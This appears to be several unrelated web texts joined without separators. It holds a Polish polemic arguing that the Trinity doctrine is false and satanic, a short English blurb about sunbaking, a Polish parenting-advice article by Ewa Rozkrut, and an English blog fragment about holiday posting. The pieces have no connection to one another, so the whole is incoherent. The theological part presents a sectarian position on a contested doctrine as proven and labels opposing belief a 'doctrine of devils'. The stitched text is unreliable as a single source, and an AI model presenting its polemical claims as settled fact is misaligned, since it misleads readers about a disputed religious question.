(c) Ta trynitarska doktryna przeczy faktowi, że imię Boga – Jehowa – stosowane jest w Biblii wyłącznie do Ojca i nigdy nie jest używane jako osobiste imię Syna, który wielokrotnie w wielu wersetach pokazywany jest w kontraście jako nie będący Jehową. Jest On w nich bowiem odróżniany od Ojca, który jako jedyny nazywany jest Jehową. U Iz.42:6-8 imię Jehowa jest używane wobec Najwyższej Istoty jako Jego wyłączne imię; widać także, że Jehowa nie jest Synem, który jest tutaj pokazany jako wzywany, ujmowany, podtrzymywany i dawany przez Jehowę. Tekst hebrajski używa słowa Jehowa zawsze wtedy, gdy słowo Pan jest pisane w przekładzie A.V. dużymi literami, tak jak dzieje się to ze słowem PAN użytym u Iz.42:6-8. Poprawnie przetłumaczony Jer.23:6, wyraźnie odróżnia Boga jako wyłącznego Jehowę od Chrystusa. Trynitarze bardzo błędnie przetłumaczyli i oznaczyli dużymi literami ten tekst, by wprowadzić do niego swój pogląd, tak jak uczynili to również w innych przypadkach. Poprawne tłumaczenie pokazuje, że Chrystus nie jest Jehową: „Oto imię, którym Jehowa nazwie go [Chrystusa], sprawiedliwość nasza”. Prosimy porównać to z 1 Kor.1:30. Tak więc jest On wyznaczonym przez Jehowę Zbawicielem świata, a nie samym Jehową. Prosimy sprawdzić dosłowne tłumaczenie doktora Younga, który choć jest trynitarzem, w zasadzie tłumaczy go tak samo jak my. Choć Jer.33:16 został błędnie przetłumaczony, duże litery zostały w nim zaznaczone poprawnie. Powodem niewątpliwie była obawa, że ten sam rodzaj dużych liter sugerowałby, że także i kościół jest Jehową. Takie tłumaczenie czyniłoby kościół Jehową, gdyby ich procedura z Jer.23:5,6 została zastosowana także i tutaj przez analogię. Poprawne tłumaczenie brzmi: Oto imię, którym Jehowa nazwie go – sprawiedliwość nasza. Oto przypadki gwałcenia gramatyki popełniane niemal we wszystkich trynitarskich tłumaczeniach przy oddawaniu tych bardzo podobnych tekstów: czasownik w stronie czynnej – nazwie – oddali jako czasownik w stronie biernej – będzie nazwany; podmiot tego czasownika w stronie czynnej – Jehowa – uczynili dopełnieniem, a dopełnienie tego czasownika – go – uczynili jego podmiotem – on będzie nazwany. Błąd na temat trójcy bardzo zaślepił tłumaczy na te podstawowe elementy składni hebrajskiej. W poprawnym tłumaczeniu pierwszy tekst dowodzi, że Jezus nie jest Jehową, podczas gdy błędne tłumaczenie tych obydwóch wersetów czyni Jehową Jezusa i Kościół, co według trynitarskiej zasady dałoby nam 144 003 w jednym! W poprawnym tłumaczeniu Jer.23:6 bardzo wyraźnie odróżnia Jehowę od Chrystusa, a Jer.33:16 Jehowę od Kościoła! Tekst ten potwierdza nasz punkt widzenia.

Ps.110:1 dowodzi, że Jezus nie jest Jehową: „Rzekł Pan [w hebrajskim Jehowa] Panu [w hebrajskim adon, nie Jehowa] memu [Dawida]: Siądź po prawicy mojej dokąd nie położę nieprzyjaciół twoich podnóżkiem nóg twoich”. Są oni tutaj wyraźnie od siebie odróżnieni. Dokładnie widać, że nasz Pan nie jest Jehową. Iz.6:1,3,5,8,11,12 mówi o naszym Panu Jezusie i Jehowie jako o oddzielnych i różnych Istotach. W w.1,8,11 hebrajskie słowo adonai dotyczy naszego Pana Jezusa, podczas gdy w w.3,5,12 użyte jest hebrajskie słowo Jehowa. W w.8 w zdaniu „Kto nam pójdzie?” słowo „nam” dotyczy ich obydwóch. Jezus pyta tutaj: „Kogoż poślę, a kto nam pójdzie?” Fakt, że w tym rozdziale użyte są te dwa słowa – adonai oraz Jehovah – pierwsze w odniesieniu do Jezusa, a drugie w odniesieniu do Boga, dowodzi że Jezus nie jest Jehową, co dowodzi z kolei, iż jest On Przedstawicielem Jehowy, a nie samym Jehową. Obala to doktrynę trójcy, ponieważ dowodzi, że tylko Ojciec jest Najwyższą Istotą, a Jezus Jego podwładnym, występującym jako Jego Przedstawiciel. Mal.3:1 jest ilustracją tego samego faktu, a Joz.5:14 czyni podobne, choć nie identyczne rozróżnienia.

Jezus jest odróżniany od Jehowy w wielu innych miejscach, co dowodzi, iż nie jest On Jehową. Jest np. Sługą Jehowy, nie samym Jehową (Iz.42:1,6,19; 52:13; 53:11). Jest On Ramieniem, Narzędziem Jehowy, nie samym Jehową (Iz.53:1). Jest Synem Jehowy, nie samym Jehową (Ps.89:27; 2:7,12 por. Dz.Ap.13:33; Żyd.1:5; 5:5). Jest Aniołem Jehowy, nie samym Jehową (1 Moj.22:11,15; 2 Moj.3:2; 4 Moj.22:22-27,31,35; Ps.34:8). Jest Towarzyszem Jehowy, a nie samym Jehową (Zach.13:7; Przyp.8:30). W innym miejscu omówimy wersety, które rzekomo dowodzą, że Chrystus jest nazywany Jehową, i udowodnimy, że Chrystus występuje w nich jako Przedstawiciel Boga – mówi jak Jehowa i jest traktowany jak Jehowa, ponieważ w tej relacji przedstawicielstwa przez Chrystusa reprezentacyjnie przemawia Jehowa. Myśli przedstawione w tych dwóch ostatnich paragrafach dowodzą, że imię Jehowa należy wyłącznie do Boga i Ojca naszego Pana Jezusa Chrystusa oraz że jest On jedyną Najwyższą Istotą. W tej części naszego tematu dowiedliśmy, że trynitarska doktryna przeczy drugiemu pewnikowi biblijnej interpretacji: aby doktryna była prawdziwa, musi pozostawać w harmonii ze wszystkimi biblijnymi wersetami – i jako taka musi być fałszywa.

(3) Doktryna trójcy przeczy wielu doktrynom Biblii, co jest pogwałceniem trzeciego pewnika biblijnej interpretacji. Zauważyliśmy już to w odniesieniu do doktryny o jedności Boga, jak również podporządkowania Syna Bogu, ponieważ doktryna ta uczy o Jego równości z Ojcem. Zaprzecza ona także doktrynie o tym, że Chrystus jest pierworodnym ze wszystkich Boskich stworzeń (Kol.1:15; Obj.3:14), postulując Jego współwieczność z Ojcem. Przeczy ona także biblijnej doktrynie, że po raz pierwszy Chrystus osiągnął Boską naturę w Swym zmartwychwstaniu (Żyd.1:3-5; Fil.2:7-11; Efez.1:19-21; 1 Kor.15:42,49 por. z 2 Ptr.1:4; Jan 5:26 oraz 1 Tym.6:16 por. z Jan 6:53 i 1 Kor.15:53,54), ucząc że od wieków ją posiadał. W rezultacie zaprzecza ona biblijnej nauce, że Jego przedludzka natura była niższa od Boskiej, czego dowodem jest między innymi fakt, że wyniszczył [zrezygnował] Siebie, rezygnując z przedludzkiej natury (Fil.2:7). Nie mógłby tego dokonać, gdyby posiadał Boską naturę, ponieważ Boska natura nie podlega zmianie w inną. Zaprzecza ona biblijnej doktrynie, że pozbywając się Swej przedludzkiej natury, Chrystus stał się ciałem, tzn. przeczy doktrynie karnacji Chrystusa (Jan 1:14; Fil.2:6,7; 2 Kor.8:9; Żyd.2:9,14,16). Przeczy również funkcjom wszystkich urzędów Chrystusa, ponieważ działał i wciąż działa On w nich jako Narzędzie Boga, nie jako równy Jemu. Przeczy naturze i urzędom Ducha Świętego, co wykażemy nieco później. Przeczy także dziełu twórczemu, gdyż odrzuca pośrednictwo Chrystusa między ludźmi a Ojcem. Zaprzecza też okupowi: gdyby bowiem doktryna trójcy była prawdą, ktoś spoza tej trójcy musiałby być odkupicielem. Według tej teorii najpierw należałoby zadośćuczynić sprawiedliwości trójcy, zanim mogłaby ona mieć cokolwiek do czynienia z człowiekiem. Ktoś spoza trójcy musiałby przedstawić jej zasługę okupu, by zadowolić jej sprawiedliwość. Przeczy ona okupowi także z innego punktu widzenia: członek trójcy nie mógłby umrzeć, a zatem nie mógłby dostarczyć okupu. Istota taka jako druga osoba trójcy nie mogłaby też dostarczyć dokładnego odpowiednika długu Adama, ponieważ istota Boska nie odpowiada wartością doskonałej istocie ludzkiej. Doktryna trójcy gwałci nie tylko doktryny stworzenia i okupu realizowane przez Narzędzie Jehowy (nie Samego Jehowę), lecz z tego samego powodu zaprzecza biblijnym doktrynom opatrzności, objawienia, pouczenia, usprawiedliwienia, uświęcenia i wyzwolenia, z których wszystkie według Biblii są wykonywane dla Boga przez Jego Narzędzie (1 Kor.1:30; 8:6). Prawdę mówiąc, trudno wskazać jakąkolwiek biblijną doktrynę, która w jakiś sposób nie byłaby naruszana przez doktrynę trójcy. Nie może być ona zatem doktryną biblijną.

(4) Doktryna trójcy jest fałszywa, ponieważ przeczy charakterowi Boga i w ten sposób gwałci czwarty pewnik interpretacji biblijnej – że aby doktryna lub interpretacja biblijna była prawdziwa, musi być zgodna z charakterem Boga, ponieważ nauki Biblii wypływają z Boskiego charakteru (Ps.45:2). Każda doktryna, która przeczy temu charakterowi, musi być fałszywa. Boski charakter w doskonałej harmonii łączy Jego mądrość, sprawiedliwość, miłość i moc. Job 37:23; Jer.4:2; 9:24 dowodzą, że właśnie takie są przymioty Boskiego charakteru i że cechują one także Jego wszystkie czyny. Myśl taka symbolizowana jest przez cztery żyjące stworzenia z Ezech.1 i Obj.4. Ps.45:2 pokazuje, że każdy zarys Boskiego planu wypływa z charakteru Boga. Ponieważ istota i charakter Boga są zgodne, każda nauka wprowadzająca sprzeczność między sobą a istotą i charakterem Boga musi być fałszywa. A właśnie to czyni doktryna trójcy: sprowadza Boga, który jest najwyższy w każdym przymiocie istoty i charakteru i który w związku z tym jest także bardziej mądry, sprawiedliwy, miłujący i potężny niż ktokolwiek inny – do równości z Chrystusem, który jest poddany Bogu. Ujmując to inaczej, wynosi ona Syna Bożego, który jest niższy od Boga, do równości z Bogiem w Jego wszystkich przymiotach istoty i charakteru. Ponieważ właśnie to czyni doktryna trójcy, musi być ona fałszywą i nie może być doktryną biblijną. Z Jana 14:10; 10:29 oczywiste jest, że Syn pod każdym względem jest niższy od Ojca. Z Mar.13:32; Dz.Ap.1:7 oczywiste jest, że jest On niższy od Ojca w wiedzy. Z Jana 3:16,17 wynika, że jest On niższy od Ojca w sprawiedliwości i miłości. Fakt, że Jego władza jest władzą Przedstawiciela Boga, co można zauważyć u Jana 5:30; Mat.28:18, dowodzi, że jest On niższy od Ojca w mocy. Tak więc doktryna trynitarska jest fałszywa, ponieważ czyni Go ona równym Ojcu w tych, jak również innych przymiotach. Żadne stworzenie nie może być równe Stwórcy, a Syn jest przecież stworzeniem Ojca (Kol.1:15; Obj.3:14). W żaden sposób nie może On zatem być równy Bogu, chociaż jest On tak wielki, jak tylko jest to możliwe dla istoty stworzonej przez Boga.

(5) Doktryna trójcy jest fałszywa, ponieważ zaprzecza okupowi, centralnej doktrynie Biblii: człowiek Jezus jest równoważną ceną za Adama i rodzaj Adama potępiony w jego biodrach (Mat.20:28; 1 Tym.2:6). Doktryna ta jest centralnym ośrodkiem planu Boga. Warunkuje ona każdą biblijną naukę i każdej z nich przypisuje miejsce i funkcje w Boskim planie, jak również jest podporą ich wszystkich. Zatem żadna doktryna, która do niego nie pasuje, i żadna doktryna, która mu przeczy – nie może być prawdziwa. A to właśnie czyni doktryna trójcy, jak wyraźnie dowodzą tego następujące fakty: Czyni ona niemożliwym okup Chrystusa – równoważną cenę, cenę równą wartości Adama jako doskonałego człowieka – ponieważ czyni Go Bogiem-człowiekiem, który musi być o tyle bardziej wartościowym od doskonałego człowieka, o ile bardziej wartościowy jest Bóg. Tak więc Bóg-człowiek byłby czymś więcej niż równoważną ceną. Boska sprawiedliwość nie może pozwolić na przyjęcie czegoś więcej niż równoważnej ceny, tak jak nie może pozwolić na przyjęcie czegoś mniej niż równoważnej ceny. Doktryna trójcy czyni okup niemożliwym także z tego punktu widzenia, że rzeczywistą śmierć Chrystusa czyni niemożliwą. Uczy bowiem, że Chrystus jako Bóg-człowiek miał dwie natury – Boską i ludzką (co w rzeczywistości czyni Go mieszańcem) – i że osobowość tego Boga-człowieka była osobowością Jego Boskiej natury, a nie ludzkiej. Uczy tak, by uniknąć tego, że Bóg-człowiek jest dwoma osobami oraz by trzymać się poglądu, że jest On tylko jedną osobą. To sprawia jednak, że osoba taka nie mogła umrzeć, ponieważ Bóg nie umiera. Tak więc doktryna trynitarska czyni okup niemożliwym, tzn. czyni niemożliwą śmierć doskonałej ludzkiej osoby za doskonałą osobę Adama. Widzimy zatem, że doktryna trójcy uniemożliwia Chrystusowi bycie okupem i złożenie okupu. Po trzecie, doktryna trójcy uniemożliwia Chrystusowi złożenie okupu jeszcze z innego punktu widzenia: jeśli Bóg jest trójcą, trzeba zadośćuczynić sprawiedliwości całej trójcy, a nie tylko jej części. Tak więc Syn jako część trójcy musiałby zadośćuczynić Swej sprawiedliwości. Nie mógł więc złożyć okupu; musiałby go otrzymać. Odkupicielem musiałby być zatem ktoś spoza tej trójcy. Uwaga ta dowodzi, że okup nie mógłby być przyjęty, ponieważ nie mógłby zadowolić całego Boga. Dowodzi ona również, że nie mógłby go złożyć żaden członek tej trójcy. Jest zatem oczywiste, że z wielu istotnych punktów widzenia doktryna trójcy stoi w ostrej sprzeczności z okupem, centralną i dominującą doktryną Biblii, i dlatego nie może być ona prawdziwą doktryną biblijną.

(6) Doktryna trójcy musi być fałszywa, ponieważ jest sprzeczna z faktami, a każda nauka sprzeczna z faktami musi być fałszywa. Oto niektóre z faktów, jakim przeczy doktryna trójcy: wyłączna przeszła wieczność Ojca, Jego zawsze aktualna supremacja, stworzenie, początek, niższość Syna wobec Ojca we wszystkich przymiotach istoty i charakteru, Jego urząd Wykonawcy i Rzecznika Boga w stworzeniu, opatrzności, objawieniu, pouczeniu, uświęceniu, wyzwoleniu Kościoła i świata, Jego karnacja, rozwój jako ludzkiej istoty i nowego stworzenia, Jego cierpienia, pokusy, próba do życia, umieranie, pozostawanie umarłym przez niecałe trzy dni, zmartwychwstanie, używanie każdego z urzędów Zbawiciela. Jest ona sprzeczna z każdym faktem odnoszącym się do Kościoła i świata, którzy doświadczają przez Niego oddzielnych aktów zbawienia. Słowem, doktryna trójcy stoi w ostrym konflikcie niemal z każdym faktem postępującego Boskiego planu. Stanie się to bardziej widoczne, gdy w odpowiednim miejscu wyjaśnimy pewne fakty związane z naturą i urzędem Ducha Świętego.

(7) Wreszcie, doktryna trójcy jest fałszywa jako sprzeczna z siódmym pewnikiem prawdziwości jakiejkolwiek interpretacji czy doktryny. Siódmy pewnik mówi: aby interpretacja lub doktryna była prawdziwa, musi być zgodna z trzema celami Biblii: (1) uwielbieniem Boga jako Najwyższego; (2) uznaniem Chrystusa jako Wykonawcy i Rzecznika Boga; oraz (3) realizowaniem Boskich planów w odniesieniu do Kościoła i świata. Gdy realizowany jest cel Biblii, prowadzi on do „chwały Bogu na wysokościach”, oddawanej Mu jako najwyższemu (Łuk.2:14; Fil.2:11; Obj.5:13; 15:3,4; Efez.1:12; 1 Kor.15:28). Wynikiem będzie także najwyższa po Ojcu cześć dla Syna (Jan 5:23 – sformułowanie „jako czczą Ojca” nie znaczy, że Syn ma być czczony w tym samym stopniu, lecz jak Ojciec, ponieważ jest On Przedstawicielem Ojca. To, że Syn nie ma otrzymywać czci równej czci Ojca można zauważyć w niektórych z następujących wersetów – Fil.2:9-11; Efez.1:19-23; 1 Kor.15,27,28; Obj.5:13). W końcu wynikiem będzie również rozwój i wyzwolenie wiernych wybranych oraz wiernego nie wybranego świata. Doktryna trójcy sprawia jednak, że pierwszy z tych celów jest niemożliwy, ponieważ dwóch innych czyni ona równymi Bogu w chwale supremacji, uznawanej i szanowanej przez wszystkich zbawionych. Doktryna trójcy uniemożliwia także realizację drugiego z tych dwóch celów, ponieważ odmawia ona Synowi urzędu Przedstawiciela Boga na podstawie tego, że rzekomo Sam jest On Bogiem, drugą osobą w Bogu, a więc nie Jego Przedstawicielem, lecz Jego częścią. Uniemożliwia także trzeci cel Biblii, ponieważ w wyniku odrzucenia okupu i uniemożliwienia urzędów Zbawiciela dla Chrystusa, uniemożliwia realizację trzeciego celu Biblii – rozwijania i wyzwalania wiernego wybranego Kościoła i wiernych nie wybranych ze świata. A zatem doktryna trójcy jest fałszywa. Tak więc z porównania doktryny trójcy z siedmioma pewnikami prawdy w zakresie interpretacji i doktryn widzimy, że doktryna trójcy jest arcydziełem szatańskiego geniuszu, logicznie unieważniającym cały plan Boga, wobec którego pozostaje w zdecydowanej opozycji. Nie jest ona zatem doktryną biblijną. Jest doktryną diabłów, arcydziełem szatana, narzucającego chrześcijaństwu swą sfałszowaną kopię Boga.

***

Test przeprowadzony przez pastora Johnsona nie jest lekki w lekturze, ani prosty w zrozumieniu. Jest jednak rzetelny, potrzebny i bardzo ważny dla każdego, kto pragnie biblijnej prawdy o Bogu, Jezusie i zbawieniu.
Niech będzie chwała i cześć Najwyższemu!

Here is an idea for all you sunbaking lovers!!
As winter is leaving us and warmer weather is upon us, you can get creative with your sunbaking!! Or ifyou want a less than permanent tattoo. Ha. This is so good.

EWA ROZKRUT

Niektóre błędy rodziców

Zazwyczaj rodzice starają się podołać wyzwaniu wychowywania dzieci, mimo to nie można obyć się bez popełniania błędów. Trzeba zdawać sobie z tego sprawę. Chcę zwrócić uwagę na niektóre uchybienia. Proszę rozważyć, jak często mają one miejsce oraz czy można przynajmniej w jakiś stopniu ich uniknąć. Zatrzymam się na relacjach z dziećmi w wieku szkolnym, gdyż jest to okres drażliwy dla dorosłych i dzieci. Następuje przesunięcie autorytetu z rodziców na grupę rówieśniczą, więc łatwo o konflikty i nieporozumienia. Ponadto z czasem uwaga rodziców skupia się na efektach nauczania, zajęciach dodatkowych, wyborze szkoły, lub na środowisku w jakim przebywa dorastająca pociecha. Natomiast brakuje czasu na poznanie duszy, marzeń, problemów, na wysłuchanie siebie nawzajem. A może po prostu nie docenia się tej sfery życia. Przedstawię kilka błędów wychowawczych, jeśli udałoby się co jakiś czas ich uniknąć, to z pewnością życie stanie się spokojniejsze.

Sposób komunikowania się

Czy kontrolujemy, w jaki sposób prowadzimy rozmowę, jak zwracamy się do siebie nawzajem? Rodzicom często zdarza się używać trybu rozkazującego wobec dzieci. Może dlatego, iż kojarzy się on ze skutecznością a na pewno na początku przynosi pożądane rezultaty, jednak później dzieci uodporniają się i przestają słyszeć kierowane do nich słowa. Niejednokrotnie padają niepotwierdzone oskarżenia, obwinianie, groźby, publiczne zawstydzanie, przerywanie wypowiedzi, poniżanie, przekupywanie… A to już cały arsenał, nieprawdaż? Na co dzień nie wsłuchujemy się we własne słowa, raczej koncentrujemy się na ich skuteczności. Bardziej zależy nam na przekazaniu informacji, aniżeli na sposobie w jaki to robimy. Proponuję, by zacząć słuchać jak rozmawiamy ze sobą w domu, jakich słów używamy. Jeśli zauważymy choćby elementy wymienione właśnie przeze mnie, to najpierw postarajmy się odwrócić sytuację i wyobrazić sobie siebie jako odbiorcę podobnego komunikatu. Gwarantuję, że wcale nie będzie to przyjemne a w konsekwencji zupełnie nieskuteczne. Z różnych powodów nie będziemy chcieli pozytywnie na niego odpowiedzieć. Takie odczucia powinny pomóc nam zweryfikować manierę jaką porozumiewamy się z bliskimi. I to na pewno należy zmienić. Następnie można rozpocząć poszukiwania innych rozwiązań. Zmiana przyzwyczajeń nie nastąpi łatwo, ale zapewniam, iż w konsekwencji przyniesie wiele pożytku, wprowadzi harmonię i poczucie bezpieczeństwa. Dla lepszego zrozumienia, przedstawię jedną w wielu codziennych sytuacji:

Kobieta po pracy wraca do domu a syn gra na komputerze, w zlewie są niepozmywane naczynia, na dywanie leżą porozrzucane różne przedmioty, plecak jest w przedpokoju a zeszyty znajdują się na podłodze w salonie. Nie muszę dodawać, że taki stan trwa już od dłuższego czasu, więc jej powrót może wyglądać tak: Mama stojąc w drzwiach krzyczy „Dlaczego nie posprzątałeś? Jesteś bałaganiarzem, masz chlew w swoim pokoju i nabrudziłeś w salonie, miałeś pozmywać! Znowu to samo, jesteś leniwy i nie chce ci się uczyć! Ja w twoim wieku nie miałam takich rozrywek, czytałam książki i pomagałam rodzicom. Gdy wracali do domu, mieli ugotowany obiad. Dzieci mojej koleżanki uczą się angielskiego, sprzątają a ty?! Następnym razem dam ci szlaban na granie na komputerze przez tydzień!”

Opisana sytuacja, może wydawać się szokująca. Przedstawiana mama wydaje się niekonsekwentna, gderliwa, histeryczna. Jednak każdy mógłby się w końcu zdenerwować na jej miejscu. Jej reakcja spowodowana została tym, że nie wsłuchiwała się w swoje słowa i nie wyciągnęła wniosków z wcześniejszych swoich oddziaływań wychowawczych. Nie zapytała: co się stało i dlaczego? Nie dowiedziała się, o której godzinie syn wrócił? Mogła zadać jeszcze wiele innych pytań.

A teraz odwróćmy sytuację, wyobraźmy sobie, że podobne zarzuty sformułowane w ostry sposób, może w obecności innych w miejscu pracy, albo w domu; gdy nikogo nie interesuje, że po całym dniu nie mamy siły posprzątać i doklejają nam etykietkę brudasa. Przypomnijmy sobie ból, upokorzenie, wstyd, brak możliwości jasnego wytłumaczenia się.

Poza tym nic nie zmienia na lepsze taki atak furii, raczej włącza mechanizmy obronne, powoduje zamykanie się na innych, a może wręcz oddalenie od tego człowieka, czasem przybliża do depresji, lub alkoholu. Ludzie mają szerokie możliwości.

Dzieci również bolą nasze oskarżenia, w końcu padają one z ust osób, które najbardziej kochają na świecie. Kiedyś słyszałam, jak dziesięciolatek zaatakowany przez dorosłych, nie mający szansy na wyjaśnienia, ukryty w kącie pokoju żalił się swojej trzyletniej siostrze: dziękuję, że do mnie przyszłaś, tylko ty mnie rozumiesz i wiesz, że nie jestem zły. A siostra mu przytakiwała, przytuliła się i uspokoiła brata. O to właśnie chodzi, o zrozumienie, żeby dotrzeć do czyjegoś serca, trzeba bardzo się starać.

Rozwiązywanie problemów

Problemy towarzyszą człowiekowi przez całe życie. Radzenie sobie z ich rozwiązywaniem, wydaje się konieczne. Jednak tej umiejętności nie otrzymujemy wraz z mlekiem matki, trzeba uczyć się sprawnie reagować i nie poddawać się w trudnych sytuacjach. Niestety niektórzy wolą kłopotów nie zauważać, inni je omijają, a jeszcze inni upadają pod ich ciężarem. Niektórzy rozwiązują a przynajmniej starają się stawiać im czoła. Ten ostatni sposób wydaje się najlepszy, bowiem hartuje, buduje charakter, uczy wytrwałości. Rodzice mają zatem trudny orzech do zgryzienia. Często próbują przyspieszać rozwiązywanie problemów swoich pociech, podając gotową receptę, minimalizując ich rangę, albo odsuwają na później. Zdarza się też pozostawienie dziecka samemu sobie z sentencją, że „życie jest ciężkie i nie ma na to rady”. Nie są to dobre metody. Proponuję przemyślenie innej, którą można zastosować w sytuacji, gdy dziecko przychodzi do domu i ma kłopot. Dla niego jest to sprawa trudna i ważna. Nie wolno jej bagatelizować. Naprawdę warto postawić na spokojną rozmowę a na to potrzebny jest czas. Lepiej nie podejmować ważnych decyzji, gdy dziecko jest podekscytowane, lub wzburzone. I tak nie wysłucha tego, co chcielibyśmy powiedzieć. Zdecydowanie lepiej przesunąć nieco rozmowę, zaproponować konkretny, nieodległy termin. Dobrze jest zadbać o dobrą atmosferę oraz coś dobrego dojedzenia, żeby zmniejszyć napięcie. Natomiast jeśli sprawa jest niecierpiąca zwłoki, to należy wszystko odłożyć na bok i skoncentrować się na problemie. Dziecko powinno umieć opowiedzieć o swoim kłopocie. Kiedy jednoznacznie go określi, to łatwiej „złapie byka za rogi”. Wielokrotnie przekonałam się, że gdy przerywałam, nerwowym „ już to mówiłeś”, to dziecko zamykało się. Nie tylko nie udało mi się pomóc, ale dodatkowo je raniłam. Zdecydowanie lepiej je przytulić i wspólnie zastanowić się, co można zrobić. Ale raczej zachęcam do szukania rozwiązań, niż je podsuwam, choć to wcale nie jest łatwe. Można włączyć rodzeństwo, oczywiście za zgodą dziecka potrzebującego pomocy. Im więcej pomysłów, tym lepiej, będzie z czego wybrać. Warto poznać, jak ono zamierza wprowadzić w życie swoje zamiary.

Na początku taki styl wychowania nie jest łatwy ani dla dzieci, ani dla rodziców, z pewnością wymaga zmiany przyzwyczajeń, inwencji i wysiłku. Niemniej jednak ucieczka przed problemami w konsekwencji może doprowadzić np. do uzależnienia się od różnych wspomagaczy: alkoholu, narkotyków, pornografii, itp. Problemy towarzyszą człowiekowi przez całe życie, poniekąd nadają mu smak, nie można przed nimi się schować.

Wszelkie lęki i obawy

Każdy rodzic pragnie dla swoich dzieci bezpieczeństwa, to naturalne. Jednak często różnego rodzaju obawy stają się zmorą. Zaczyna się od tego, iż przekazujemy swoje lęki pociechom. Od najwcześniejszych lat mówimy im o różnych zagrożeniach, opowiadamy o swoich złych doświadczeniach i młodzi ludzie dorastają w przekonaniu, iż wszędzie czyha na nich wróg. Jeśli mama miała złe relacje z koleżankami, to mówi swojej córce, że na dziewczynki nie należy liczyć, bo są zawistne i zdradzą ją przy najbliższej okazji. Ta przestroga zostaje w sercu i córka może nigdy nie znaleźć przyjaciółki. A przecież tego typu złe doświadczenia nie muszą jej dotyczyć.

Innym zagrożeniem, którego boją się rodzice są wszelkiego rodzaju uzależnienia. W dzisiejszych czasach wiele mówi się o negatywnym wpływie komputera na młodych ludzi, gdyż kojarzy się on z przemocą, pornografią, uzależnieniem, marnowaniem czasu. Zatem niejednokrotnie dobrym zabezpieczeniem wydaje się zakładanie blokad, haseł, kontrolowania wszystkich stron, które dziecko przegląda, albo prowadzenie długich wykładów na temat złego wpływu internetu i gier na rozwój młodych umysłów. Taka postawa jest niebezpieczna, dzieci mogą uciekać się do oszukiwania rodziców, nie przyznają się gdzie serfują po internecie a mają wiele możliwości, choćby lekcje informatyki, kawiarenki internetowe, u kolegi. Zdecydowanie lepiej spokojnie porozmawiać o tym, dlaczego należy ostrożnie zawierać znajomości w sieci i nie udostępniać swojego adresu, czemu strony pornograficzne nie są dobre a gry z przemocą źle wpływają na psychikę i dowiedzieć się jakie jest ich zdanie na ten temat. Przypomina mi się pewna prawidłowość, od lat straszy się dzieci niebezpiecznymi znajomościami. W moim dzieciństwie taką rolę pełniły jeżdżące ulicami czarne wołgi. Nie wolno było mi oraz moim rówieśnikom zbliżać się do zatrzymującego się czarnego auta. Jako mała dziewczynka ani ja, ani moje koleżanki nie odróżniałyśmy marek samochodów, więc stroniłyśmy od wszystkich czarnych aut; inne samochody były bezpieczne. Dziś zastanawiam się, dlaczego właśnie czarna wołga pełniła rolę straszaka? Oczywiście dorośli z tamtych lat, też mieli dobre intencje, być może nasze dzieci również za trzydzieści lat zastanowią się, dlaczego rodzice straszyli internetem. Wydaje mi się, że najlepszym rozwiązaniem będzie dobry kontakt ze swoim dzieckiem, okazanie mu zaufania i co jakiś czas spędzanie z nim trochę czasu przed monitorem komputera. Pozostawienie samemu sobie młodego człowieka wcale nie jest dobre, grozić może uzależnieniem, utratą kontaktu z bliskimi. Trzeba dopilnować by miało różne obowiązki, inne zainteresowania, czas na odpoczynek czynny, sen. Można wprowadzić zasadę: ile godzin przed komputerem tyle czasu na boisku. Wówczas nie trzeba będzie martwić się o skrzywienia kręgosłupa, jednostronny rozwój, albo brak kontaktu z realnym światem. Dopóki mamy wpływ na zajęcia naszych synów i córek, to należy je przyzwyczaić, że świat nie kończy się na wirtualnej rzeczywistości, ale też wokół jest mnóstwo wspaniałości.

Lęki są problemem dorosłych, mogą utrudnić życie i negatywnie wpływać na relacje z innymi. Zanim zaczniemy straszyć, albo choćby przestrzegać dzieci przed czymś, to najpierw zastanówmy się na ile zagrożeni e jest realne a na ile mieści się wyłącznie w naszej psychice.

Zapomniał wół…

Ta stara prawda jest ciągle aktualna. Nawet nie zdajemy sobie sprawy, jak często nasze postępowanie ją potwierdza. Ostatnio słyszałam narzekanie pewnego zatroskanego ojca, który opowiadał o bójkach między synami, o tym, iż biją się o głupstwa. Gdy zapytałam, czy on bił się w dzieciństwie ze swoim bratem, odpowiedział, że owszem, ale oni mieli ważne powody. Zaproponowałam, by zapytał rodziców, czy też tak uważają? Kiedyś powszechnym było stwierdzenie „ach ta dzisiejsza młodzież”. Proponuję, by zanim zaczniemy narzekać na młodsze pokolenie, jego beztroskę, nieodpowiedzialność, złe zachowanie itd., to wpierw odbądźmy podróż sentymentalną do czasów szkolnych i przypomnijmy sobie choćby niektóre występki. To naprawdę pomaga. Przede wszystkim uspokaja, że z tego się wyrasta. Z pewnością pomoże odnaleźć najodpowiedniejsze wyjście z sytuacji.

Jednak chcę zwrócić uwagę na jeszcze jeden aspekt. Dotyczy on rodziców, dla których wiara i zaangażowanie w Kościele jest nadzwyczaj ważne. Niepokoi ich błądzenie po drogach wiary, nieprzykładanie odpowiedniej wagi do spraw Kościoła, tradycji chrześcijańskich. Bóg wydaje się dla nich niezrozumiały i daleki. Wzbudza to szczerą troskę o życie dzieci w bliskości Ojca. Dorośli niejednokrotnie namawiają, mają pretensje, albo łzy w oczach. Niestety nic w ten sposób się nie wymusi na dziecku, czy nastolatku. Raczej wywoła odwrotny skutek. Raczej trzeba zacząć od przypomnienia sobie momentu, kiedy Bóg stał się najważniejszy w naszym życiu, albo czy na pewno ma taki status. Z pewnością ów moment nie nastąpił w szkole. Świadomość religijną zdobywa się przez lata, również długo odkrywa się miłość Boga, poznaje Go, zachwyca a przy okazji niekiedy zapomina o własnym kroczeniu po bezdrożach. Niestety często chcąc przyspieszyć wzrost wiary własnych dzieci, nie pozwalamy upadać a wręcz zmuszamy do pewnych praktyk religijnych. Taka droga na skróty może się źle skończyć, przynieść odwrotny skutek do zamierzonego. Młody człowiek nie może reagować i rozumować w taki sam sposób, jak jego rodzicie, bowiem zdobył znacznie mniej doświadczeń. Powierzajmy dzieci Bogu, otaczajmy modlitwą i miłością.

Na zakończenie

Oczywiście są to tylko niektóre błędy i uchybienia, nie zamierzałam ich mnożyć, ale raczej zwrócić na nie uwagę. Trud wychowywania dzieci można przyrównać do ćwiczeń. Żeby udoskonalić potrzebne umiejętności wykonuje się dużo powtórzeń, by znów zrobić to samo. Takie nastawienie pomaga rozpoczynać wciąż od nowa.

Ewa Rozkrut
erozkrut@mateusz.pl

http://www.mateusz.pl

It’s been ages since I last updated. I’ve found that it’s been harder to think of things to post about during the holidays… there’s more mental stimulation during the uni term, I guess. More stimulation than the very sedentary things I do on the holidays give me, anyway.

